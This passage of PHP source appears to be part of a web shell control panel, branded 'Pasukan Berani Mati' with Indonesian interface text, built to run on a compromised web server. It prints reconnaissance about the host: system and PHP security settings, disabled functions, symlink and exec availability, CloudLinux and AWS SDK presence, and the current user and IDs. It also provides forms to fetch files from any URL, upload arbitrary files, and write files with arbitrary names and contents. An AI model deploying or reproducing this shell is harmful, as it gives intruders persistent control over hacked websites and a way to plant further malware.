$memory_limit = ini_get('memory_limit');
$upload_max_filesize = ini_get('upload_max_filesize');
$post_max_size = ini_get('post_max_size');
$max_execution_time = ini_get('max_execution_time');

echo '<div class="container">
    <div class="header p-4 mb-4">
        <h1><i class="fas fa-skull-crossbones"></i> Pasukan Berani Mati</h1>
        <p class="lead mb-0">CaFc_Br40ck - System Control Panel | IP: ' . $client_ip . '</p>
    </div>
    
    <!-- SYSTEM INFORMATION SECTION - DIPERBAIKI -->
    <div class="server-info mb-4">
        <h5 class="mb-3"><i class="fas fa-server"></i> System Information</h5>
        <div class="system-info-grid">
            <div class="system-info-item">
                <span class="system-info-label">System Info</span>
                <span class="system-info-value">
                    <i class="fas fa-desktop text-primary"></i> ' . $sysinfo . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">Directory</span>
                <span class="system-info-value">
                    <i class="fas fa-folder text-warning"></i> ' . getcwd() . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">Curl Status</span>
                <span class="system-info-value">
                    ' . (function_exists('curl_version') 
                        ? '<span class="badge bg-success"><i class="fas fa-check-circle"></i> Enabled</span>' 
                        : '<span class="badge bg-danger"><i class="fas fa-times-circle"></i> Disabled</span>') . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">Script File</span>
                <span class="system-info-value">
                    <i class="fas fa-file-code text-info"></i> ' . basename(__FILE__) . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">CloudLinux</span>
                <span class="system-info-value">
                    ' . (is_dir($build) 
                        ? '<span class="badge bg-success"><i class="fas fa-check"></i> True</span>' 
                        : '<span class="badge bg-danger"><i class="fas fa-times"></i> False</span>') . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">AWS SDK</span>
                <span class="system-info-value">';
                
// Check AWS SDK
if(strpos($homee, 'public') !== false) {
    $dirs = str_replace("public", "", $homee)."/vendor/aws";
    $dirs2 = str_replace("public", "", $homee)."/vendor/aws-sdk-php";
    if(is_dir($dirs) || is_dir($dirs2)) {
        echo '<span class="badge bg-success"><i class="fas fa-check"></i> True</span>';
    } else {
        echo '<span class="badge bg-danger"><i class="fas fa-times"></i> False</span>';
    }
} else {
    $dirs = $homee."/vendor/aws";
    $dirs2 = $homee."/vendor/aws-sdk-php";
    if(is_dir($dirs) || is_dir($dirs2)) {
        echo '<span class="badge bg-success"><i class="fas fa-check"></i> True</span>';
    } else {
        echo '<span class="badge bg-danger"><i class="fas fa-times"></i> False</span>';
    }
}

echo '              </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">Server IP</span>
                <span class="system-info-value">
                    <i class="fas fa-network-wired text-secondary"></i> ' . $server_ip . '
                </span>
            </div>
            <div class="system-info-item">
                <span class="system-info-label">Server Software</span>
                <span class="system-info-value">
                    <i class="fas fa-server text-primary"></i> ' . $server_software . '
                </span>
            </div>
        </div>
    </div>
    
    <!-- PHP CONFIGURATION STATUS -->
    <div class="row mb-4">
        <div class="col-md-12">
            <div class="info-box">
                <h5><i class="fas fa-cogs"></i> PHP Configuration Status</h5>
                <div class="table-responsive">
                    <table class="table table-sm config-table">
                        <thead>
                            <tr>
                                <th>Setting</th>
                                <th>Status</th>
                                <th>Setting</th>
                                <th>Status</th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr>
                                <td><i class="fas fa-code"></i> PHP Version</td>
                                <td><span class="badge bg-info">' . $php_version . '</span></td>
                                <td><i class="fas fa-shield-alt"></i> Safe Mode</td>
                                <td>' . $safe_mode . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-quote-right"></i> Magic Quotes</td>
                                <td>' . $magic_quotes . '</td>
                                <td><i class="fas fa-database"></i> MySQL</td>
                                <td>' . $mysql . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-database"></i> MSSQL</td>
                                <td>' . $mssql . '</td>
                                <td><i class="fas fa-database"></i> PostgreSQL</td>
                                <td>' . $pgsql . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-database"></i> Oracle</td>
                                <td>' . $oracle . '</td>
                                <td><i class="fas fa-terminal"></i> Exec Function</td>
                                <td>' . $exec . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-folder-open"></i> Open Basedir</td>
                                <td>' . $open_basedir . '</td>
                                <td><i class="fas fa-undo"></i> Ini Restore</td>
                                <td>' . $ini_restore . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-link"></i> Symlink</td>
                                <td>' . $symlink . '</td>
                                <td><i class="fas fa-file-alt"></i> File Get Contents</td>
                                <td>' . $file_get_contents . '</td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-microchip"></i> Memory Limit</td>
                                <td><span class="badge bg-secondary">' . $memory_limit . '</span></td>
                                <td><i class="fas fa-upload"></i> Upload Max Filesize</td>
                                <td><span class="badge bg-secondary">' . $upload_max_filesize . '</span></td>
                            </tr>
                            <tr>
                                <td><i class="fas fa-clock"></i> Max Execution Time</td>
                                <td><span class="badge bg-secondary">' . $max_execution_time . 's</span></td>
                                <td><i class="fas fa-paper-plane"></i> PHP SAPI</td>
                                <td><span class="badge bg-info">' . $php_sapi . '</span></td>
                            </tr>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
    
    <!-- 3 KOLOM UTAMA -->
    <div class="row">
        <!-- Kolom 1: Upload dari URL -->
        <div class="col-md-4">
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-download"></i> Upload dari URL
                </div>
                <div class="card-body">
                    <form action="" method="post">
                        <div class="mb-3">
                            <label for="url" class="form-label">URL File</label>
                            <input type="text" class="form-control" id="url" name="url" 
                                   placeholder="http://example.com/file.zip" 
                                   value="' . (isset($_POST['url']) ? htmlspecialchars($_POST['url']) : '') . '">
                        </div>
                        <div class="mb-3">
                            <label for="custom_filename" class="form-label">Nama File (opsional)</label>
                            <input type="text" class="form-control" id="custom_filename" 
                                   name="custom_filename" placeholder="file.zip">
                        </div>
                        <button type="submit" name="download_url" class="btn btn-success w-100">
                            <i class="fas fa-cloud-download-alt"></i> Download dari URL
                        </button>
                    </form>';
                    
if(isset($_POST['download_url']) && !empty($_POST['url'])) {
    $url = $_POST['url'];
    $filename = isset($_POST['custom_filename']) && !empty($_POST['custom_filename']) ? $_POST['custom_filename'] : '';
    echo '<div class="mt-3 p-2 bg-light rounded">
            <h6>Hasil Download:</h6>
            ' . download_from_url($url, $filename) . '
          </div>';
}

echo '          </div>
            </div>
        </div>
        
        <!-- Kolom 2: Upload File Lokal -->
        <div class="col-md-4">
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-upload"></i> Upload File Lokal
                </div>
                <div class="card-body">
                    <form action="" method="post" enctype="multipart/form-data" name="uploader">
                        <div class="mb-3">
                            <label for="file" class="form-label">Pilih File</label>
                            <input class="form-control" type="file" id="file" name="file">
                        </div>
                        <button name="_zx" type="submit" value="Upload" class="btn btn-primary w-100">
                            <i class="fas fa-upload"></i> Upload File
                        </button>
                    </form>';
                    
if(isset($_POST['_zx']) && $_POST['_zx'] == "Upload") {
    if(isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) {
        $filename = $_FILES['file']['name'];
        $tmp_name = $_FILES['file']['tmp_name'];
        if(@move_uploaded_file($tmp_name, $filename)) {
            $size = filesize($filename);
            echo '<div class="mt-3 p-2 bg-success text-white rounded">
                    <i class="fas fa-check-circle"></i> File Uploaded<br>
                    <a href="'.$filename.'" class="text-white">'.$filename.'</a> (' . $size . ' bytes)
                  </div>';
        } else {
            echo '<div class="mt-3 p-2 bg-danger text-white rounded">
                    <i class="fas fa-times-circle"></i> File Not Uploaded
                  </div>';
        }
    } else {
        echo '<div class="mt-3 p-2 bg-warning text-dark rounded">
                <i class="fas fa-exclamation-triangle"></i> Please select a file to upload
              </div>';
    }
}

echo '          </div>
            </div>
        </div>
        
        <!-- Kolom 3: Create File -->
        <div class="col-md-4">
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-file-alt"></i> Create File
                </div>
                <div class="card-body">
                    <form method="post">
                        <div class="mb-3">
                            <label for="nama_file" class="form-label">Nama File</label>
                            <input type="text" class="form-control" id="nama_file" name="nama_file" required>
                        </div>
                        <div class="mb-3">
                            <label for="isi_file" class="form-label">Isi File</label>
                            <textarea class="form-control" id="isi_file" name="isi_file" rows="5" required></textarea>
                        </div>
                        <button type="submit" name="buat_file" class="btn btn-warning w-100">
                            <i class="fas fa-plus-circle"></i> Buat File
                        </button>
                    </form>';
                    
if (isset($_POST['buat_file'])) {
    $filename = trim($_POST['nama_file']);
    $content  = $_POST['isi_file'];
    if ($filename != "") {
        if (pathinfo($filename, PATHINFO_EXTENSION) == "") {
            $filename .= ".txt";
        }
        file_put_contents($filename, $content);
        echo '<div class="mt-3 p-2 bg-light rounded">
                <i class="fas fa-check text-success"></i> File <a href="'.$filename.'">'.$filename.'</a> berhasil dibuat
              </div>';
    }
}

echo '          </div>
            </div>
        </div>
    </div>
    
    <!-- Informasi Tambahan -->
    <div class="row mt-4">
        <div class="col-md-12">
            <div class="info-box">
                <h5><i class="fas fa-info-circle"></i> Informasi Tambahan</h5>';
$disable_functions = @ini_get("disable_functions");
echo '<p class="mb-2"><strong>Disabled Functions:</strong></p>
      <textarea class="form-control bg-light" rows="2" readonly>' . (empty($disable_functions) ? 'Tidak ada fungsi yang dinonaktifkan' : $disable_functions) . '</textarea>';

$current_user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$pid = @getmypid();

echo '<div class="row mt-3">
        <div class="col-md-3">
            <p class="mb-1"><strong>Current User:</strong></p>
            <span class="badge bg-primary">' . $current_user . '</span>
        </div>
        <div class="col-md-3">
            <p class="mb-1"><strong>UID:</strong></p>
            <span class="badge bg-secondary">' . $uid . '</span>
        </div>
        <div class="col-md-3">
            <p class="mb-1"><strong>GID:</strong></p>
            <span class="badge bg-secondary">' . $gid . '</span>
        </div>
        <div class="col-md-3">
            <p class="mb-1"><strong>PID:</strong></p>
            <span class="badge bg-info">' . $pid . '</span>
        </div>
      </div>';
echo '      </div>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>';